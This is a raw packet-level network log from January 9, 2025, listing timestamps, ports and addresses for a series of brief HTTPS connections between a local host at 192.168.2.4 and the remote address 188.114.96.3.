Jan 9, 2025 08:28:28.356168032 CET	443	49742	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:28.356224060 CET	443	49742	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:28.356251955 CET	443	49742	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:28.356271982 CET	49742	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:28.356278896 CET	443	49742	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:28.356290102 CET	443	49742	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:28.356322050 CET	49742	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:28.356367111 CET	443	49742	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:28.356415033 CET	49742	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:28.356900930 CET	49742	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:28.357846022 CET	49743	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:28.357877016 CET	443	49743	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:28.357949018 CET	49743	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:28.358150005 CET	49743	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:28.358160973 CET	443	49743	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:28.833183050 CET	443	49743	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:28.835298061 CET	49743	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:28.835309982 CET	443	49743	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:28.967533112 CET	443	49743	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:28.967588902 CET	443	49743	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:28.967619896 CET	443	49743	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:28.967638016 CET	49743	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:28.967652082 CET	443	49743	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:28.967685938 CET	443	49743	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:28.967689991 CET	49743	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:28.967696905 CET	443	49743	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:28.967746973 CET	49743	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:28.967752934 CET	443	49743	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:28.967773914 CET	443	49743	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:28.967818975 CET	49743	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:28.968642950 CET	49743	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:28.969729900 CET	49744	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:28.969772100 CET	443	49744	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:28.969898939 CET	49744	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:28.970072031 CET	49744	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:28.970081091 CET	443	49744	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:29.439110994 CET	443	49744	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:29.440619946 CET	49744	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:29.440639019 CET	443	49744	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:29.557229042 CET	443	49744	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:29.557287931 CET	443	49744	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:29.557322979 CET	443	49744	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:29.557327032 CET	49744	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:29.557346106 CET	443	49744	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:29.557395935 CET	49744	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:29.557409048 CET	443	49744	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:29.557552099 CET	443	49744	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:29.557591915 CET	49744	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:29.558255911 CET	49744	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:29.559240103 CET	49745	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:29.559282064 CET	443	49745	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:29.559345961 CET	49745	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:29.559609890 CET	49745	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:29.559623003 CET	443	49745	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:30.024879932 CET	443	49745	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:30.027509928 CET	49745	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:30.027534962 CET	443	49745	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:30.152968884 CET	443	49745	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:30.153029919 CET	443	49745	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:30.153072119 CET	443	49745	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:30.153096914 CET	443	49745	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:30.153104067 CET	49745	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:30.153119087 CET	443	49745	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:30.153167009 CET	49745	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:30.153187990 CET	443	49745	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:30.153321028 CET	49745	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:30.154079914 CET	49745	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:30.155292034 CET	49746	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:30.155337095 CET	443	49746	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:30.155421972 CET	49746	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:30.155688047 CET	49746	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:30.155702114 CET	443	49746	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:30.622190952 CET	443	49746	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:30.624367952 CET	49746	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:30.624387980 CET	443	49746	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:30.761445999 CET	443	49746	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:30.761502981 CET	443	49746	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:30.761533022 CET	443	49746	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:30.761564970 CET	443	49746	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:30.761593103 CET	49746	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:30.761609077 CET	443	49746	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:30.761663914 CET	443	49746	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:30.761720896 CET	49746	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:30.761770964 CET	49746	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:30.763088942 CET	49746	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:30.764580965 CET	49747	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:30.764616966 CET	443	49747	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:30.764699936 CET	49747	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:30.764969110 CET	49747	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:30.764981985 CET	443	49747	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:31.246774912 CET	443	49747	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:31.248682976 CET	49747	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:31.248708010 CET	443	49747	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:31.388597965 CET	443	49747	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:31.388643026 CET	443	49747	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:31.388667107 CET	443	49747	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:31.388693094 CET	443	49747	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:31.388726950 CET	49747	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:31.388739109 CET	443	49747	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:31.388788939 CET	49747	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:31.388792992 CET	443	49747	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:31.388842106 CET	49747	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:31.389909029 CET	49747	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:31.391041994 CET	49748	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:31.391083002 CET	443	49748	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:31.391179085 CET	49748	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:31.391470909 CET	49748	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:31.391484022 CET	443	49748	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:31.863389969 CET	443	49748	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:31.866950035 CET	49748	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:31.866975069 CET	443	49748	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:31.996512890 CET	443	49748	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:31.996577024 CET	443	49748	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:31.996607065 CET	443	49748	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:31.996637106 CET	443	49748	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:31.996638060 CET	49748	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:31.996656895 CET	443	49748	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:31.996710062 CET	49748	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:31.996771097 CET	443	49748	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:31.996819973 CET	49748	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:31.997895002 CET	49748	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:31.999083042 CET	49749	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:31.999150038 CET	443	49749	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:31.999231100 CET	49749	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:31.999510050 CET	49749	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:31.999528885 CET	443	49749	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:32.488626957 CET	443	49749	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:32.491041899 CET	49749	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:32.491085052 CET	443	49749	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:32.624753952 CET	443	49749	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:32.624825001 CET	443	49749	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:32.624859095 CET	443	49749	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:32.624886990 CET	49749	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:32.624892950 CET	443	49749	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:32.624918938 CET	443	49749	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:32.624958038 CET	49749	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:32.625015974 CET	443	49749	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:32.625061035 CET	49749	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:32.626112938 CET	49749	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:32.627443075 CET	49750	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:32.627487898 CET	443	49750	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:32.627563953 CET	49750	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:32.627830982 CET	49750	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:32.627845049 CET	443	49750	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:33.104098082 CET	443	49750	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:33.106471062 CET	49750	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:33.106486082 CET	443	49750	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:33.251303911 CET	443	49750	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:33.251379013 CET	443	49750	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:33.251413107 CET	443	49750	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:33.251446009 CET	443	49750	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:33.251508951 CET	49750	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:33.251537085 CET	443	49750	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:33.251550913 CET	49750	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:33.254261971 CET	443	49750	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:33.254323959 CET	49750	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:33.254884005 CET	49750	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:33.256983042 CET	49751	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:33.257019997 CET	443	49751	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:33.257101059 CET	49751	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:33.257384062 CET	49751	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:33.257399082 CET	443	49751	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:33.714600086 CET	443	49751	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:33.717400074 CET	49751	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:33.717427015 CET	443	49751	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:33.839278936 CET	443	49751	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:33.839339972 CET	443	49751	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:33.839375973 CET	443	49751	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:33.839401007 CET	49751	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:33.839426041 CET	443	49751	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:33.839462042 CET	443	49751	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:33.839497089 CET	49751	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:33.839505911 CET	443	49751	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:33.839550972 CET	49751	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:33.839555979 CET	443	49751	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:33.839603901 CET	49751	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:33.840845108 CET	49751	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:33.842370033 CET	49752	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:33.842418909 CET	443	49752	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:33.842502117 CET	49752	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:33.842783928 CET	49752	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:33.842799902 CET	443	49752	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:34.300188065 CET	443	49752	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:34.301970005 CET	49752	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:34.302026987 CET	443	49752	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:34.432849884 CET	443	49752	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:34.432894945 CET	443	49752	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:34.432925940 CET	443	49752	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:34.432955980 CET	443	49752	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:34.433010101 CET	49752	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:34.433051109 CET	443	49752	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:34.433064938 CET	49752	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:34.435960054 CET	443	49752	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:34.436031103 CET	49752	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:34.436353922 CET	49752	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:34.437490940 CET	49753	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:34.437530994 CET	443	49753	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:34.437606096 CET	49753	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:34.437866926 CET	49753	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:34.437877893 CET	443	49753	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:34.919991970 CET	443	49753	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:34.922024965 CET	49753	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:34.922036886 CET	443	49753	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:35.045597076 CET	443	49753	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:35.045649052 CET	443	49753	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:35.045684099 CET	443	49753	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:35.045717001 CET	443	49753	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:35.045727015 CET	49753	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:35.045747042 CET	443	49753	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:35.045772076 CET	49753	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:35.045866966 CET	443	49753	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:35.045921087 CET	49753	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:35.046683073 CET	49753	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:35.047755003 CET	49754	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:35.047811985 CET	443	49754	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:35.047885895 CET	49754	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:35.048118114 CET	49754	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:35.048135042 CET	443	49754	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:35.528003931 CET	443	49754	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:35.530638933 CET	49754	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:35.530664921 CET	443	49754	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:35.670488119 CET	443	49754	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:35.670541048 CET	443	49754	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:35.670572042 CET	443	49754	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:35.670600891 CET	443	49754	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:35.670674086 CET	49754	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:35.670720100 CET	443	49754	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:35.670753956 CET	49754	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:35.672602892 CET	443	49754	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:35.672661066 CET	49754	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:35.672966003 CET	49754	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:35.674048901 CET	49755	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:35.674103975 CET	443	49755	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:35.674176931 CET	49755	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:35.674469948 CET	49755	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:35.674482107 CET	443	49755	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:36.130851030 CET	443	49755	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:36.133399010 CET	49755	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:36.133424044 CET	443	49755	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:36.261104107 CET	443	49755	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:36.261168957 CET	443	49755	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:36.261202097 CET	443	49755	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:36.261220932 CET	49755	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:36.261229992 CET	443	49755	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:36.261254072 CET	443	49755	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:36.261267900 CET	49755	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:36.261337042 CET	443	49755	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:36.261379004 CET	49755	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:36.262763023 CET	49755	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:36.264597893 CET	49756	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:36.264645100 CET	443	49756	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:36.264708042 CET	49756	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:36.265294075 CET	49756	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:36.265307903 CET	443	49756	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:36.719818115 CET	443	49756	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:36.721838951 CET	49756	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:36.721869946 CET	443	49756	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:36.853863955 CET	443	49756	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:36.853918076 CET	443	49756	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:36.853943110 CET	443	49756	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:36.853985071 CET	443	49756	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:36.853987932 CET	49756	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:36.854007006 CET	443	49756	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:36.854029894 CET	49756	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:36.854104996 CET	443	49756	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:36.854151964 CET	49756	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:36.854991913 CET	49756	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:36.855968952 CET	49757	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:36.856018066 CET	443	49757	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:36.856128931 CET	49757	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:36.856400967 CET	49757	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:36.856419086 CET	443	49757	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:37.311696053 CET	443	49757	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:37.313416004 CET	49757	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:37.313437939 CET	443	49757	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:37.430649996 CET	443	49757	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:37.430706024 CET	443	49757	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:37.430738926 CET	443	49757	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:37.430766106 CET	49757	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:37.430780888 CET	443	49757	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:37.430792093 CET	443	49757	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:37.430828094 CET	49757	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:37.430843115 CET	443	49757	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:37.430893898 CET	49757	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:37.430898905 CET	443	49757	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:37.430967093 CET	49757	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:37.431797981 CET	49757	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:37.432764053 CET	49759	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:37.432790995 CET	443	49759	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:37.432858944 CET	49759	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:37.433159113 CET	49759	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:37.433173895 CET	443	49759	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:37.896276951 CET	443	49759	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:37.898534060 CET	49759	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:37.898570061 CET	443	49759	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:38.037991047 CET	443	49759	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:38.038043022 CET	443	49759	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:38.038073063 CET	443	49759	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:38.038094997 CET	49759	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:38.038105965 CET	443	49759	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:38.038156986 CET	443	49759	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:38.038197041 CET	49759	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:38.038208961 CET	443	49759	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:38.038234949 CET	443	49759	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:38.038285017 CET	49759	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:38.039318085 CET	49759	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:38.040677071 CET	49761	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:38.040719032 CET	443	49761	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:38.041237116 CET	49761	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:38.041577101 CET	49761	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:38.041590929 CET	443	49761	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:38.496690035 CET	443	49761	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:38.498732090 CET	49761	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:38.498749018 CET	443	49761	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:38.618068933 CET	443	49761	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:38.618120909 CET	443	49761	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:38.618158102 CET	443	49761	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:38.618186951 CET	443	49761	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:38.618240118 CET	49761	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:38.618254900 CET	443	49761	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:38.618272066 CET	443	49761	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:38.618350029 CET	49761	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:38.619371891 CET	49761	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:38.620532990 CET	49764	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:38.620565891 CET	443	49764	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:38.620834112 CET	49764	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:38.621148109 CET	49764	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:38.621160984 CET	443	49764	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:39.077542067 CET	443	49764	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:39.129698992 CET	49764	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:39.232374907 CET	49764	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:39.232388973 CET	443	49764	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:39.331602097 CET	443	49764	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:39.331667900 CET	443	49764	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:39.331697941 CET	443	49764	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:39.331726074 CET	443	49764	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:39.331741095 CET	49764	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:39.331753969 CET	443	49764	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:39.331765890 CET	49764	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:39.331832886 CET	443	49764	188.114.96.3	192.168.2.4
